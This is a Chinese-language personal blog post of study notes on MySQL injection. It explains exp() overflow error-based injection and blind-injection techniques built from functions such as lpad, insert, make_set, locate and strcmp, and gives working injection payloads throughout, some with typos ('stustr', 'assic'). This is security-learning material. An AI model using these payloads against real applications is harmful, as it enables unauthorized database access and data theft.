沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Mysql注入的查漏补缺

0x00前言


翻阅大佬的学习记录,居然发现,我在过去的某个时间段还领先他几个月的学习量,而现在却物是人非😅。这可能就说明,人与人的差距更多体现在努力而不是天赋方面了吧,所以,作为菜狗的我,从今天起也要keep学习😭。天知道上个学期,我学了一些什么,总是想太多,而做太少,哎,继续keep吧。

0x01 查漏补缺


exp()报错注入

很可惜,经过大佬测试,只适用于mysql5.5.5-5.5.48

exp()函数返回的是e的x次方,但当x大于709时,就会产生一个溢出错误。除此以外,对数字0按位取反~0会产生一个最大的符号BIGINT值,即 18446744073709551615,显然,这个数字足够大,能够让exp发生错误。

与此同时,查询语句成功执行后,也会返回0,所以这就给了我们一个报错注入的思路:对查询语句的结果进行取反,然后使用exp函数,达成报错,具体如下:

image-20210410162840756

这里必须是select * from(你的查询语句)x这种嵌套查询,不知道为什么,可能是这样返回值才是0吧。

其实这里利用的时数据溢出,与此同理的还有pow()floor()等数学函数,另外,对~0进行运算依然可以溢出,这样我们甚至可以不需要数学函数,所以我们有下面的payload:

!(select*from(select user())x)-~0 #即!0-(~0)
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)

具体使用起来:

select username, passwordfrom users where id='1' or !(select*from(select user())x)-~0;

case when condition then 1 else 0 end

用来代替if,第一次看到,就记一下

admin' case when (ascii(stustr((select database()), 1, 1) regexp 97) then 1 else 0 end

盲注可能用的上的函数

stustr就不说了

SUBSTRING(string, start, length)
#多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)
RIGHT(str,len)
LEFT(str,len)
MID(str,pos,len)#和substring类似

lpad

还有一些不常见的(指菜狗本人没见过)

lpad(str, len, padstr)
rpad(str, len, padstr)#一左一右

本来是用来填充的,即lpad("hi",5,"c") -->ccchi 但当len的长度小于str时,就会返回长度为len的字符串,即lpad(user(),1,'a')--->r(假设用户为root),所以这个函数是很适合跑盲注脚本的。

insert

INSERT(str,pos,len,newstr)

虽然他叫insert,可是他干的事就根本不和插入沾边(和我一样每天正事不干),我觉得他叫替换还差不多:从str的pos位置起,到长度为len的位置, 用newstr替换。

但是我们可以使用INSERT(str,len,1,0x0)来截取,但是他的返回值是替换后的字符串,假设我们现在的数据库(database())是mysql,则

insert(database(), 2, 100, 0x00) #得到的是m
insert(database(), 3, 100, 0x00)#得到的是my ,到这里你应该会写脚本了

make_set

MAKE_SET(2,'hello','nice','world');
#得到的是"nice"  
#类似的函数是ELT

过程如下:首先将2转换为二进制:0010,然后逆转0100,依次对应,0不输出,1输出,所以就输出了’nice’。我们可以利用这个函数来进行布尔盲注:

-1||exp(make_set((assic(substr(database(),1,1))=97)+1, 710, 1)

结合上文讲的exp函数就知道为什么要加1了,如果我们猜对了,就会返回1,然后加1就是2,这样就会变成exp(1);相反的,如果猜错了,就会返回0,0+1=1,exp(make_set(1,…))会变成exp(710),错误。以上即实现了布尔盲注。

locate

LOCATE('st','myteststring'); # > 5 返回第一次出现的位置
LOCATE('st','myteststring',6); # > 7 返回从位置6后第一次出现的位置 
#类似的函数是POSITION

乍一看,没什么用,但是和别的函数组合组合,就有作用了

strcmp(locate('a',(select database()),1),1) #-1
strcmp(locate('b',(select database()),1),1) #-1
#...
strcmp(locate('m',(select database()),1),1)#0
strcmp(locate('y',(select database()),2),2)#0

这样就可以构造布尔盲注了,我们给返回值加一(对了为1,错了为0),然后就可以写脚本了。

或者我们继续借助make_set和exp函数:

0||exp(make_set(strcmp(locate('y',(select database()),2),2), 710,1))#

这里猜对了,虽然会变成make_set(0,..),这样好像会返回0x00,然后exp(0x00)=1;如果猜错了,make_set(-1,..)会返回710,1,不知道这个在exp里面怎么处理的(大概是取第一个数字吧),总之就是报错了,但我直接exp((710,1))不行。

其实还有很多,但是我不想写了,哈哈 ,下次有空再补,下次一定